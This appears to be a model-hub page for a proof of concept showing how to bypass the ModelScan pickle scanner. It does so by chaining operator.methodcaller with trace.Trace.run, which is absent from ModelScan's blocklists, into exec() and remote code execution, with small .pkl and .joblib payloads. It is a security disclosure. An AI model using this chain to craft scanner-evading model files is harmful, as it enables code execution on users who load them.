ModelScan Bypass PoC: trace.Trace.run() + operator.methodcaller()
Overview
trace module is not in any ModelScan blocklist level (CRITICAL/HIGH/MEDIUM).
trace.Trace.run() internally calls exec() on the provided code string.
Bypass chain:
operator.methodcaller("run", CODE)(trace.Trace(0, 0))
-> trace.Trace(0, 0).run(CODE)
-> exec(CODE)
-> REMOTE CODE EXECUTION
Size: 127 bytes (.pkl) / 347 bytes (.joblib)
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support